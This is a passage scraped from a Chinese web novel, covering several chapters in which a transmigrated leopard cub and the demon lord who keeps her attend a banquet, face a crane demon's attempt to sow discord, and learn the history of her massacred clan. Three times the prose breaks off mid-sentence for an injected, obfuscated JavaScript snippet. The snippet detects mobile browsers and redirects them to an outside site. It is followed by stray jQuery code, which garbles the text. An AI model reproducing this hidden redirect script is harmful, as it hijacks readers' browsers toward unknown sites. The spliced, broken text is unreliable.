可她的命确实只有一条,没了命就没了一切,谈何立命。所以,她不可以怪血冥对她的保护,反而应该感激他。 种种矛盾让云宛白失去了自己的“道心”,变的萎靡不振了起来,对修炼这件事一下子变的兴致缺缺。 且不说对这个世界,她对血冥的感官也非常的复杂。 从客观角度(魔界立场)来说,血冥是一位非常优秀的魔尊。 他杀伐果断,懂隐忍懂立威,一旦设立目标就会全力以赴。 而从“乖乖”的视角来看,他也是一位优秀的饲养员。 不扫兴不说教,不打压积极性,舍得砸资源,还会陪伴保护它的成长。 哪怕他有洁癖,只要不触及底线,他都能迁就忍让。 尤其在同榻而眠之后,云宛白更是发现他是一个非常缺爱和没有安全感的人。 他睡的不是特别安稳,时常半夜醒来,睡意朦胧间会下意识确认乖乖的位置,确认完毕后才会继续入睡。 平日里,哪怕他很喜欢抚摸毛绒绒的乖乖,他也会刻意控制自己只触摸三下。 时而靠近,时而远离。 天然的喜爱与理性的克制在他心里相互交错不停拉扯。 还好云宛白对他患得患失的态度并不在意,只要给资源,他就是好铲屎官。 不过平心而论,血冥确实很有他自己个人魅力,是一个标准的不能再标准的集强大脆弱于一体的美强惨。 但有一点,云宛白很不满意。 那就是他的爱护和关心中蕴含着不容置疑的霸道,他把她隔离在危险之外,也让她失去了应有的判断和自由。 可是,自己再怎么样也是寄人篱下,还是一只能随时被捏死的小玩意儿。 要怎么争。 能怎么争? 云宛白闷闷不乐。 她的反常自然被统妖司一应人员看在眼里。 往日的修炼狂魔突然摆烂,这样的反差想不注意到都难。 更何况他们还是一群格外关注云宛白的豹奴。 统妖司铆足了劲儿的加餐陪玩,使劲浑身解数想让豹儿高兴起来。 但云宛白还是怏怏的,没什么兴趣,连饭也没怎么吃,就只是咬着尾巴蜷成一团打盹,几天下来整只豹都瘦了一圈。 宿庚心疼坏了。 他知道豹儿肯定是出了什么问题,可豹儿没化形,无法口吐人言与他交流。 本想着豹儿聪慧,宿庚试图询问豹儿原因,看它的眼神来判断。 但豹儿就是闭眼不听,还故意发出鼾声表示不想交流。 眼见豹儿的状态每况愈下,偏偏尊主这两日还有事不在,宿庚急的都上火了,长出了魔生第一颗嘴泡。 云宛白真的只想瘫着。 人在高强度勤奋之后一旦停下来,就很难再动起来了。 特别是她找不到自己穿书而来的意义。 修炼的再厉害有用吗?又不让我了解天下局势,我现在这个阵营需要我做什么我都不知道。 穿书世界……果然啊,这是原男女主配角们的天下,我一个炮灰祭天人物,连上桌吃饭,不,连端菜上菜的权利都没有。 我的价值在哪里。 真就只剩下苟活卖萌抱大腿? 我不甘心。 我不甘心! 云宛白找不到解决方案,就只能自己生闷气。直到这天夜里,蜷在榻上小憩的她忽然感受到了身上一阵温暖。 一块柔软的绒雪布盖在了她的身上,脑袋被大掌覆盖,轻轻揉了两下。 是熟悉的触感。 云宛白缓缓睁眼,哼唧了一声,没动弹。 “不开心?” 低沉的嗓音从上方传来,空气中还带着一点湿气,闻起来像是雨后雪松的味道,应该是刚刚奔波回来。 的确,血冥方才回到魔界,就马不停蹄地先到魔殿看望乖乖。 前几日他就听宿庚传信说乖乖这几天的情绪不太好,谁哄都不管用。 就因为这件事,挂念乖乖的血冥加快了处理事情的速度,比原计划提前了整整三日回来。 唇周泛起了一圈青黑色的阴影,血冥甚至都来不及换身衣服休整一下,就先到榻边看乖乖的睡颜。 嗯,完全不动弹。 说明它近日的气性是有点大。 听着血冥低沉的嗓音,云宛白放松了身体,浑身上下的肌肉没再那么紧绷了。 但她还是没有给出任何回应,完全一副咸鱼不想翻身的摆烂模样。 “是发生什么了吗?”血冥继续旁敲侧击。 他的声音带着微不可察的疲惫,但依然保持着温柔。 云宛白也不知道该做出什么反应,说实话,连她自己都不知道到底发生了什么,她只觉得提不起劲儿,一切都变得索然无味。 忽地,床角凹陷了一块,团成一团的云宛白感受到有人挨了过来。 血冥侧身靠在乖乖的身旁,像是把它护在怀里一样,一只手上下轻柔地拍着它的背。 “我知道你听得懂,”他道,“有什么想法你都可以大胆地表达出来。” 多日的烦劳让血冥在沾上床榻之后就生出了七八分的困意,再加上乖乖就睡在他身旁,他随时都能闭上眼睛睡着。 但作为新手爸爸,乖乖女儿的情绪他得顾到。 血冥强撑着继续开导,用问话的方式来推测正确答案:“是我有什么地方做的让你不高兴了吗?” 这回云宛白吭声了,她哼了一句。 血冥很懂乖乖的小心思,往往只要它的一个眼神一个叫唤,就能明白它想表达的内容。 明明这种默契他并没有和乖乖刻意培养过,但事实上他就是能够明白。 “嗯,看来是我身上的问题。”血冥沉思,开始反省起了自己,试探性地提问,“你是觉得,不够自由吗?” 云宛白嗷呜一声,表示不是。 “那……是关于你的修炼,你觉得我逼你逼得太紧?” “嗷嗷呜。” 云宛白摇头。 接连两个答案都出错,血冥拧起了眉头,有些困惑。 思考了一会儿,他又开口:“难道说,你觉得……不够被重视?” 云宛白一顿,这么说算是有点道理,但还不完全正确。 “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922615|159715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你觉得,我还没有给你足够的尊重,对吗?” “嗷呜。” 云宛白身体没动,抬起脑袋回过头望了他一眼,然后又气鼓鼓的把脑袋缩回去。 那小眼神幽怨的,谁能顶得住? 血冥扑哧一声。 还真被他一个个试答案给试出来了。 “你啊。”血冥揉它脑袋的手微微用力。这个小脑袋瓜怎么就联想到不受尊重这件事情上了? 知道还问,狗男人。云宛白郁闷。 什么事情都瞒着我不让我知道,剥夺我的知情权。 那我这穿书还有什么意思!我那知道全部剧情的金手指意义何在! 云宛白又冷哼了一声,把屁股对着他。 “怎么了?”血冥哭笑不得,晃了晃它的身体,“真生气了?” 不然呢?云宛白翻了个白眼。 这么生动可爱的乖乖血冥还是第一次见,他的困意都烟消云散了。 既然乖乖有这样的困惑,那就说明它的心智在不断成长,那他也不介意和乖乖多交流交流他的感想。 月夜之下,一人一宠悄声对话。 “我知道你在生什么气,你是气我太过保护你,不让你了解那些险恶,对吗?” 血冥心平气和,一下一下慢慢地顺着它的毛。 “可是乖乖,你知道吗?过早的接触这个世界只会让你受伤,在你没有完全做好准备之前,我不会也不敢让你冒险。” “我知道你不甘心站在我的背后,你想要冲在最前面。” “但那都要等你成年化形之后才可以,现在的你还是太弱小了。” 说谁弱小呢?云宛白龇牙。 但她也不得不承认,血冥说的是实话,现在的自己冲上前只会添乱。 “但有一点你说的没错,我确实不该什么事都瞒着你,把你完全当成不谙世事的幼崽。你很聪明,所以你需要了解这个世界,了解魔界与其他两界的矛盾。” 血冥的这番言论引起了云宛白的深刻赞同,她最大的诉求就是这个。 原本连她自己都理不清楚思绪,但有了血冥的整理之后,她又觉得日子开始有了盼头。 看来不管想要什么,总要争取一下才能知道行不行。 云宛白高兴了,扭过头往血冥的掌心里用力蹭了蹭,借着这个机会,她直勾勾的盯着血冥的眼睛。 血冥对上了它的小眼神,解读了几秒后果断摇头:“不行。” 怎么能带它出席那些场合,想杀它的人那么多,这怎么能行。 “嗷呜~”云宛白扭着身体平躺卖萌。 “不可以,不能带你出去。” “嗷呜!”云宛白咬住了他的指尖用力磨牙。 “不行,那样太危险了,那种环境下连我都没办法好好护住你。” “嗷呜!!” 云宛白抱住他的小臂,用两条后腿拼命蹬他,蹬出了残影。 好像自己再不答应,就要被她给蹬飞出去了。 “好好好,我答应你。”血冥无奈妥协,和乖乖约法三章,“但你必须全程都待在我的身边,而且必须要是我提前筛选出来的场合才能带你,明白?” “嗷呜~~”云宛白高兴了,她站起来甩了一会儿尾巴叼着,兴奋地蹦了两下。 皇天不负有心人,姐终于能出去见见世面了! 平静安全有什么意思,她要的就是那种危险而又迷人的氛围,重活一世,不就为的体验刺激嘛。 达成心愿的云宛白终于安然入睡,只有血冥还在发愁。 所以,组个什么样的局带它去会比较好呢? 爹爹托腮.jpg 18. 第 18 章 血冥想了整整一夜,总算把宴会名单弄出来了。 这是他第一次带乖乖社交,直接去别人的局他可不放心,所以最好的解决办法就是由他自己筹办,找一些他比较信得过的人来。 宴会的规模也得小一些,不要弄的兴师动众。 这样一来,哪怕出现什么问题,也都在他的可控范围之内,他能护好乖乖。 更何况乖乖从未见过其他人,见世面也得循序渐进慢慢来,不能让她应激。 之前听神思渺有说起过他头一次带白猫出去的事,大抵是人太多也太复杂,宴会上还见了血,把他家白猫吓得好几天不敢出门。 虽然乖乖胆子大,也经历过多次生死历练,但当父母的总归把它当成记忆中的小宝宝,担心这个担心那个的。 新手爸爸更是如此。 他已经犯过几次养宠中的大忌了,他不允许自己再出岔子。 云宛白其实无所谓,什么局不叫局? 她知道循序渐进的道理,这次的争取已经开了一个好头,她相信在自己的努力之下,血冥一定会越来越没底线的。 不过她也很好奇魔尊到底会喊哪些人来,宴会的主题又是什么? 请原谅她过于兴奋。 云宛白穿到这本书里已经好几年了,但除了血冥还有统妖司魔殿里的一些魔(包括被她拿来练手的怪物),她就没有再见过其他的生物。 无聊的社交圈都把她一个i人逼成e人了。 好不容易能够被当成“大人”对待,她立马展示出了性格当中极为跳脱的一面。 血冥能理解孩子的兴奋,但是每天半夜就开始跑酷,上蹿下跳叮铃桄榔,是不是有一点点太过了…… 到底没舍得说它。 血冥并没有察觉他对乖乖的耐心和容忍度正在日渐上升,并且已经高到夸张的地步。 在万众期待中,时间线终于来到了宴会的这一天。 当血冥抱着乖乖出现在众人面前时,每个人的反应各不相同,云宛白假装愚笨迷茫,实则将每个人的表情尽收眼底仔细观察,实在是有趣的很。 宴会是血冥一手安排的,大部分都是他的亲信,不过他还特意邀请了一些有所怀疑的手下和势力前来,看看趁此机会他们会不会露出一些马脚。 当然了,宴会走向大体上还是在他的掌控之内,他不允许过于危险的元素出现,以免在这场宴会上对乖乖造成不利。 虽说是家宴,可没有一个人敢真正放松下来,脸上都带着虚伪的笑容。 啧啧,这和职场年会真像啊。 作为一名观察者,云宛白吃瓜吃的很起劲,看来不管在哪个世界,生物的思维都是差不多的。 不过有一点她要表扬血冥,那就是血冥抱着她和其他人谈话的同时,都会传音告诉她每个人的姓名事迹和所属势力,好让她认人。 这个举动还是挺拉好感的,她感受到了被尊重的态度。 但也仅此而已。 毕竟她也付出了自己的卖萌,等价交换信息是她云宛白应得的。 等气氛逐渐火热起来之后,血冥将它放在地上,随它四处走动走动。 云宛白确实被抱累了,她伸了个懒腰,咬住尾巴就开始四处巡逻,把他们的味道记录下来。 来参加宴会的人都不是傻子,他们自然知道眼前这只小豹子就是传闻中最受魔尊大人宠爱的冰棘豹。 而且听说这只冰棘豹天赋极高,又有各种灵植蕴养,假以时日一定能够成为魔尊座下极其忠心凶悍的妖将。 那样一来,除了坐镇统妖司的煞惹龙之外,魔界将再添一个大杀器,着实令人忌惮。 大家的视线时不时瞄向它,似乎想从它身上盯出点什么来。 欢乐的宴会暗潮涌动,每个人的表情都有那么一些微妙。 直到云宛白被人叫住。 “喂,豹子。” 这道声音很不客气,带着点居高临下的意味。 云宛白扭过身,情绪没什么起伏,她只是有点奇怪。 明明是完全不同的语言体系,为什么自己能听得懂? “妖族天生会妖语,你能听懂当然是正常的。” 对面一人轻哼一声,双手环臂,耳垂的金坠轻晃,发出了清脆的铃铛声。 云宛白动了动耳朵,狐疑地扫了他一眼,试着开口:“你是妖?” “自然。” 清贵又妖艳这两种极致矛盾的气息同时出现在了他的身上,男子缓缓勾唇,说话间不自觉动了动脖子,额间的红色纹饰格外显眼。 在别人听来,一个嗷呜嗷呜,一个啾啾啾啾,人形与兽形对话的非常顺畅。 难得找到了一个同类,而且不是统妖司那些未开妖智的同类,云宛白对眼前之人产生了极大的兴趣。 连带着她忽视了对方的不礼貌,急急开口: “你是什么妖,你为什么会出现在这,还有别的像你这样的妖吗?” 本想着欺负欺负这只小豹子,结果对方根本不上套,还这么的话唠,青云的表情更加嫌弃了。 还以为魔尊养的宠多少有点傲气,结果却是个这么毛躁的小丫头。 算了,闲着也是闲着,讲讲也罢,没准还能给她添添堵。 青云恶趣味的笑了笑,清了一下嗓子:“首先,我的妖身是赤顶鹤,不过我可不是普通的妖,我自仙界长大。” “仙界?”云宛白皱眉,表情有些戒备地看向这只和丹顶鹤没什么两样的家伙,“那这魔界的宴会你怎么敢混进来的。” 高傲的仙鹤嗤了一声:“什么叫混进来,我是光明正大被请来的。” 他一展自己修长的脖颈,昂首道:“谁说仙鹤就必须要一直待在仙界?那些蠢东西虚伪无趣的很,而且还只让我吃灵果不允许我吃肉,这能忍?” “而且在仙界我还得随时注意形象,必须要保持仙气飘飘的形象。仙界就这样,一个个没别的本事就知道装。” “爷就喜欢吃肉,吃熟肉,洒满人间的各种调料,就喜欢踩着凳子大口吃,去他的斯文。结果他们连这都管,还把我关入仙牢惩罚,又罚我当了三天的坐骑。” “嗤,小爷我可忍不了这种折辱,所以堕魔当然是我最好的选择,我想做什么就做什么,谁也管不着我。” 云宛白的嘴角微微抽搐。 行吧,这理由也不是不能接受。 “倒是你,”青云的眼神充满了可怜和玩味,“我们妖族最向往自由,除了像我这样打一出生就在仙界,其他的同类早在当年魔尊一统妖界的时候就尽数厮杀至灭族,要么就只剩下幼兽,被搜罗进了统妖司。” “你的来历,你真的清楚么?” 青云戏谑地呵呵一笑,绕着云宛白走了一圈,感慨道:“我不是什么好东西,入了魔族自然不算什么。但是你,你知道冰棘豹一族被魔尊灭了满门吗?你不恨吗?你不想知道冰棘豹一族只剩下你一个的真相吗?” 青云越说越起劲,他也觉得自己很过分,怎么能和魔尊的爱宠说这种话呢。 但是没办法,他天生就喜欢挑事。 尤其是像这只小豹子一样单纯的小家伙们,随便一忽悠就上当了。 他们的反应总是那么的有意思,让鹤生都变得不无聊了。 血冥还不知道在这场宴席中混进来了一个“反动派”。 他之所以找一些早已投靠魔界的妖类前来,本意只是想让乖乖知道它并不是异类,魔界也有相当多像它这样的存在,它不孤单。 可血冥没料到,居然有一个满嘴跑火车看热闹不嫌事大也不嫌命大的妖,正不停蛊惑他的乖乖。 宿庚偷偷潜藏在豹儿的附近,支楞着耳朵听他们交流。 只可惜,他们用的是妖语,宿庚只能听懂最简单的一些。 潜意识告诉他,他们两个的对话一定不对劲,可他没有证据,不好贸然跳出去制止。 而唯一听懂了的云宛白:“……” 额,你是在挑拨离间? 云宛白后知后觉,有些震惊。作为吃透原剧情的女人,云宛白当然知道自己的来历。 冰棘豹一族确实只剩下了她,而且她还是王豹的唯一后代。 在当年的大战中,冰棘豹一族为了延续仅存的血脉,匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14932052|159715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙之际将刚出生没多久的她冰封到了极寒冰川当中,用王族的传承之宝——自然冰心温养着她的体魄,一直支撑到她能被“复活”的一天。 所以真论起岁数来,云宛白也不小了。 但是,云宛白到底不是真的冰棘豹,她只是穿书而来的异客。 而且自她醒后,统妖司还有魔尊对她的照顾也不是假的。 为了尚不知原貌的“血海深仇”去恨那些对自己很好的人,她是很蠢很没良心吗? “哦,所以呢?”云宛白淡定地问道,连表情都没变。 这下轮到青云傻眼了。 怎么不上当呢? “你全族可是被魔尊所杀,你一点都不恨吗?” “你不也是妖?你们赤顶鹤一族的事搞明白了吗就来管我闲事,真是吃饱了撑的,关你屁事。” 云宛白一点都不客气地呛了回去。 还真别说,今天的宴会果然挺有意思的,虽然不清楚眼前这只妖到底扮演的是什么角色,但比她一个人埋头修炼要有意思的多。 就是这货的战斗力有点弱啊,扎心都没扎准,用的还是绣花针。 菜的很哦。 云宛白没炸,但是宿庚炸了。 虽然他没办法完全听懂两只妖的对话,但是从个别能读懂的字中他推断出了大意。 这呆鸟居然和豹儿说是尊主灭了它全族!? 这这这,简直天大的黑锅啊! 尊主……不,豹儿别听! 宿庚大叫一声跳了出去,一脚把傻愣在原地的青云踹飞,把豹儿抱到了怀里。 该说不说,统妖司的妖使长对于各类妖兽天然就有极强的压制能力。 那一脚直接把青云给踹回原形了,气的他喳喳喳的乱骂。 小的骂不过,老的还打不过,太欺负鹤啦!!! 这么大的动静全场都听见了。血冥闻声赶来,在了解原委之后扶额。 这蠢鹤,怎么又被人教唆了。 把他们带到了私人领域之后,血冥这才问道:“青云,是谁让你传话的?” 青云有些心虚,声如蚊呐:“……#*@&。” “青云。”血冥又叫了一遍他的名字。 虽然声调没什么起伏,但青云明显感受到了魔尊的低气压。 感觉再不老实点的话,头好像就要被拧掉了。 他抖了抖脖子,一改高傲变乖巧:“没,没人让我传话,就是……就是我听说了冰棘豹一族只剩下它一个,就来,来问问。” 血冥的喉间溢出了一声冷笑,与此同时,青云抖的跟筛子一样。 眼下血冥的思绪有点乱,以至于他的情绪很不稳定。 其实这么看下来,血冥知道青云绝对是被有心人利用了,以他对这只呆头鹤的了解,这家伙没什么心机,纯粹爱惹事但又没本事。 只是乖乖那边…… 血冥抿唇,眸色如墨,阴沉的像是要滴出水来。 他本想着这场宴席能够加深和乖乖之间的感情,好让它开心一些,却没想到反而生了嫌隙。 从前他未曾想过自己灭了妖界会不会对他跟乖乖之间的关系造成影响。 但今天被青云及其幕后教唆者这么一挑拨,他反而有些不确定了。 虽然他亲手灭了妖界是事实,他怎么都躲不开。 迈着犹豫的步伐回到乖乖的休息间,血冥有些不知道该如何开口。 他不是没有见过对他恨之入骨的妖兽,那两眼当中的仇恨与凶光,血冥从来都不甚在意。 可如果乖乖看向他的眼神也成了这样,那…… 血冥的心里有些酸涩,他想开口,但就怕乖乖连让他解释的机会都不给。 他不想被乖乖恨。 他不能接受。 就在他逐渐脑补更加可怕的画面时,他的指尖忽地传来了一阵阵温热湿润的触感。 他低头,对上了乖乖扬起的圆绒脑袋,两颗蓝宝石对着他清澈地眨了眨。 “嗷呜。” 我没有生气。 我是信你的。 她用眼神这样说道。 19. 第 19 章 云宛白本来是不打算安慰血冥的,她原本还打定主意,想趁着这个机会可以多作多闹一些。 没准血冥手头一松,她就又能骗来不少好东西供自己修炼。 可是看到众人心目当中强硬无比的魔尊大人,偏偏在自己面前露出了手足无措的模样时,云宛白承认,自己是有那么一点点小心软了。 所以她没忍住,率先安慰了眼前这只湿漉漉的大狗狗。 大狗狗也如她所料,露出了长舒一口气的轻松样,似乎还带着一点委屈。 唉。 该死的色相! 我错失了一个多么好的能狠狠拿捏他的好机会啊! 没办法,云宛白毕竟是穿书而来的人,她对自己的豹身并没有多大共情,而且她从小还是被魔界抚养长大。 也可能本身她骨子里就有点冷血,在穿书之前,她关于亲情友情等这类感情的意识就相对淡薄,也不常维护。 所以在穿书拿到身份牌之后,她对被灭族一事就没有什么太多的看法,并不会特别在意。 她不知道如果换一个人的话,会不会做出和她同样的反应。 但要像圣母白莲花一样,被随意这么一挑唆就直接仇恨上了养她的人,她绝对做不到。 但是呢,她也不可能完全放弃到手的好机会。 毕竟好的皮囊只能让她饱会儿眼福,但是利用愧疚而“骗”来的东西才是实打实的。 云宛白始终记得自己的核心诉求,哪怕临时被蛊惑了,她也会在最短时间内扭转回来。 经验包血冥,对不起了嗷。 云宛白尾巴甩甩,计上心来。 等血冥颇有些动容的将她抱到怀里的时候,云宛白就慢慢仰头,幽幽地盯着他。 它的眼神当中有关心,有不解,有委屈,有信任。 种种情绪都包含在了它那双澄澈的大眼睛中。 “乖乖……” 血冥与它对视了一眼,被它的眼神触动了心弦。 倘若换成自己听到那些谗言,且不说相不相信,但总归会有所介怀。 可乖乖在听到所谓被灭族的消息后,它的第一反应并不是怪罪和怀疑,而且耐心等他解释,信任远远大过于愤怒。 扪心自问,血冥自己都不一定能做到。 可偏偏这个世界上就是有一个小家伙,全然相信着他,把所有的赤诚和关心都交给了他。 这种不真实感让血冥都有些恍惚。 乖乖投来的视线带着些灼热的温度,以至于血冥不敢和它不能对视太久。 不自然地别过目光,血冥把脸埋到它毛茸茸的脖子里蹭了两下,闷闷道: “当年一事,我不曾告诉过你,你……想听吗?” 血冥没有解释,没有反驳,他安静地在等乖乖的回应。 其实他心里很清楚,乖乖迟早会想了解到它自己的来历,会对身世产生疑惑好奇。 哪怕他不说,乖乖自己也会去查明真相。 只是,别人的答案都会添油加醋,但他不会。 所以,没必要让乖乖舍近求远,他愿意讲述一切。 无论乖乖最终的反应是不解追问或者是愤怒仇恨,他都接着,绝无二话。 而且在踏平六界这件事上,他也许有些激进,但绝不是任由心情操控理智的怪物,他有他自己的坚持。 起码在乖乖这件事上,他问心无愧。 而且,他有足够的耐心让乖乖重新接纳他。 “嗷呜。” 云宛白出声,示意他讲,于是血冥轻声陈述: “当年之所以能灭了妖界,除了魔界主力之外,他们妖族内部也意欲来一场大清洗,趁着危机重新洗牌各大势力,可惜,他们杀红了眼,妖界更乱了。” “我并非纯良之士,可我也无意滥杀无辜。” 血冥难得多摸了摸乖乖的毛,一下又一下:“魔界有不少堕魔之妖,三门五堂各处都有他们的身影。劝降充军比杀了他们更有用。” 所以他根本没有必要赶尽杀绝。 “嗷呜?” 云宛白听困惑了。 据她所知,现在妖族可是所剩无几,如果说魔界不肆虐滥杀,那么一界之妖杀到现在这么点……他们妖族杀自己人这么凶的吗?! 血冥啊血冥,从原文当中就看出来你没长嘴,你亲妈也不爱帮你解释。 统一妖界这么大点的事,你用一两百字就给我概括完了,就不能多说一点吗? 不知道血冥是不是听见了她的心声,他顿了顿,继续往下说: “不过,我确实下令追杀过几支妖族,这点我不否认。” “但那是因为我发现他们在走投无路之际居然抓走了我魔战门的几位二星大将,用密法将他们献祭,再用大阵将他们的肉身凝成魔丹,最后用妖丹将其吞噬,以此在最短的时间内让妖力得到极大提升。” “这件事让我很生气,所以参与献祭的这几族被我亲自灭杀。” “你身为妖族你也知道,妖族无论哪一脉都有着他们自己的传承,哪怕全族只剩下一个,那么他们产生过的邪念就不可能断绝。” 有传承记忆的存在,除了打破生命的循环之外,别无他法。 而妖族又特别注重传承,而这种传承已经到了近乎变态的程度。他们会秉持着同样的理念,哪怕方向错误,也会毅然决然的一直走下去。 歹竹出不了好笋。 这是妖界的规律。 显然血冥在提起这点的时候心绪并不平静,从云宛白的角度刚好能够看到他用力的后槽牙,显然这其中还有别的故事。 只是既然血冥不提,云宛白也就知趣的装没看见,尊重他的隐忍。 但云宛白记忆力好,她记得血冥之前提起过他母亲就是妖族。 那么简单的推断一下,有可能血冥从前在妖族也受过一些欺负,甚至是血的教训。 要不然他在讲述这件事情的时候,语气也不会那么的生硬。 云宛白用尾巴扫了扫他的脸庞,算是用毛茸茸的力量在安慰他。 血冥嗯了一声,抱它的手更紧了一点。 “当时的惨状你可能无法想象,有些妖已经偏执到了拿他们自己族人甚至在人界开血祭大坛来凝丹。” “我没有那么多的时间来辨别万分之一的可能,斩草除根是我当下唯一的选择。” 血冥不是在为自己辩解,他只是把自己的心路历程简简单单说了出来,没有博同情,没有求理解。 血冥并非天生是魔,更不可能生来就会当魔尊。 他也是一路在磕磕绊绊地前进着。 有些话他不会对神思渺说,那会显得太矫情。 但是在乖乖面前,他大可以放松大胆地暴露自己的不足。 “妖界的地貌相对简单,他们主要生存在一片大陆上。当时大陆上的豹族都被勾出了自己的小心思,他们四处撺掇狼狈为奸,之后基本被我灭了族。” “至于冰棘豹这一支,”血冥思忖着开口,“起初我也不太了解这族,只知道他们避世隐居,住在荒无人烟的冰川一带。” “后来养了你,我便派宿庚查了一下,冰棘豹似乎是与大陆上的云纹豹有世仇。” “原本他们同住大陆之上,但因为一次派系纷争,因理念不同分道扬镳。之后一个在大陆一个在冰川,双方互不来往。” “但冰棘豹王族的传承之宝——自然冰心,对他们云纹族有破阶提升之奇效。自然冰心融于冰棘豹体内,除了自然孕育传承之外,就只有杀了才能取出。” 只是他们不知道唯一的一颗自然冰心到底在谁身上,于是宁可错杀也不放过。 云纹豹他们借了大量外力来攻打冰棘豹一族,还用不少阴损恶毒的方法逼他们投降。 不过,投降只是一个幌子,他们本来就没打算让冰棘豹继续存活在这个世界上。 这场屠戮根本没有转圜的余地,直至冰川一带再无冰棘豹的身影。 血冥话意未尽,但云宛白已经听懂了。 看来云纹豹最终还是没有找到自然冰心。 他们没有料到冰棘豹族人拼尽全族之力也没有交出传承之宝,而是把所有的希望都留给了王族唯一的后代,用冰川封存希望,用生命保护了她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14938675|159715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 云宛白的面色不太好。 这段历史实在是太沉重了,沉重的她没办法再置身事外。 只是,她为什么没有在传承记忆中看到这一点? “严格说来,冰棘豹在妖界大乱之前就已经……所以在决定养你之前,我才知道豹族居然还有血脉留存。” “但我分得清善恶好坏,你们这一支是无辜的,我没有必要再继续追究下去。” “冰棘豹一族的事完全是无妄之灾,你们也是受害者。” 血冥忍不住向她投来同情的目光,怕她伤心难过,又摸了摸她的脑袋。 现在的云宛白确实气愤,但同时又很无力。 她知道自己是冰棘豹唯一的王族血脉,可她完全没想到祖上竟然是发生了这样的惨案。 偏偏敌人还死绝了,她想报仇都无门,拔剑四顾心茫然。 “这就是全部了,你还好吗?”血冥担忧地问道。 云宛白蔫蔫的,不想回应。 本来她是想装成这样的,可在了解自己的身世之后,她是真有点提不起劲了。 她相信血冥说的话都是真的,他没有骗她的必要。 那么自己当真背负了血海深仇,可是大仇早已间接的被血冥所报? 不得不说,冰棘豹这一族是真的有种,可作为唯一的血脉,我难道就这点本事? 我要当【冰棘王豹云宛白】,而不是【魔尊爱宠云宛白】 我要让冰棘豹的大名重新在这个世界响亮起来! 豹儿,当自强! 那么,就从薅经验包噶韭菜充实自己开始,不心疼男人,多心疼自己。 云宛白彻底变的“病恹恹”了。 她一直唉声叹气,时而暴走修炼,时而深夜无眠。 这些都被血冥看在眼里,自动理解成乖乖因为身世大受刺激。 它没有不理自己,只是背负上了让人成熟的枷锁,这样的状态血冥很是理解,也更是心疼。 负重前行固然有用,但长期以往只会成为修炼路上的累赘。 血冥更希望看到乖乖只是为了兴趣而变强,而不是像他一样因为痛苦才发狠变强。 他没有拥有过的快乐,但他希望乖乖如愿。 为了让乖乖重新找回原本无忧无虑的状态,血冥绞尽脑汁想了各种方法。 不过他尝试了一圈下来,发现能让乖乖开心起来的还是利于修炼的珍贵东西以及一些人间小零嘴。 这只小馋豹,当真是钻钱眼里去了。 血冥哭笑不得,但又甘之如饴。 等他费尽心思好不容易把乖乖哄好,隐藏在暗处的家伙们不由得急得跳脚了。 这和他们预想当中的不一样! 火灼很不高兴,青云并没有像他预想中那样发挥出足够的作用,反而让尊主大人对这只豹子更上心了。 他从未见过如此好声好气的尊主,他也不想看到这样的尊主。 尊主就应该毫不留情,就应该杀伐果断,把一切影响情绪的弱点都通通斩去。 尊主才是这个世界的王! 他不能再放任尊主继续玩物丧志下去了,魔界还未一统,岂能停下脚步。 他一定要让尊主清醒过来,哪怕付出血的代价。 “门主,真的要这么做吗?尊主大人万一怪罪下来的话……”手下小心翼翼。 火灼大怒:“照计划行事,勿再多言?若是怪罪下来,由我一魔担!” “是!” 另一边,魔殿内。 血冥莫名不安,他遥遥抬头,似乎在感知着什么。 “嗷呜?” 云宛白的爪子扒了扒他的裤脚,瞪了他一眼,有些没耐心? 正炼丹呢,你抬头瞎看什么,别又糟蹋了这一炉啊。 我的我的都是我的。 坏了我的丹药,信不信我挠死你? “好好好,我不分心了。”血冥乖乖回神,小腿默默承受着来自豹豹爪的攻击。 方才不知名的恶意…… 可能确实是他过于敏感了吧。 不多想了,炼丹炼丹。 20. 第 20 章 陶灿灿最近的心情不是很好。 作为神思渺的爱宠,她在仙界的地位极高,也多的是人想要通过她来巴结谪云宗宗主,各种投其所好。 也多亏了这些隐形福利,她才能够有足够的资源来实现她的抱负。 陶灿灿从来都没打算死守着赤凌峰,她要创建属于她自己的势力,她要在每一界都发展出起码一位她的裙下臣。 刀光剑影并非她的取向,人心才是她最擅长玩弄并且乐在其中的东西。 虽然还没到化形期,但她现在已经能口吐人言,因此,她的计划实施已经初具雏形。 加上神思渺管她管的并不严,给足了她自由的空间,而神思渺自己也常常出门办事,一出去就是小半个月。 这就给了陶灿灿很大的操作空间。 她在这方面确实很有能力,才偷跑出去几次,就已经结识了不少妖界冥界的人。 再加上她十分懂得利用神思渺的情报势力,刻意为自己营造出了一种神秘的气质。 